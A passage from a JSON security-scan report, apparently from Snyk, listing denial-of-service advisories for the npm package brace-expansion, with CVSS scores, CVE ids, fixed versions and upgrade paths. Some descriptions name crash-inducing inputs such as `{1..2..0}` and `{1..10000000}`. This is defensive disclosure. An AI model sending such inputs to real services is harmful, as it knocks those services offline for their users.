"brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 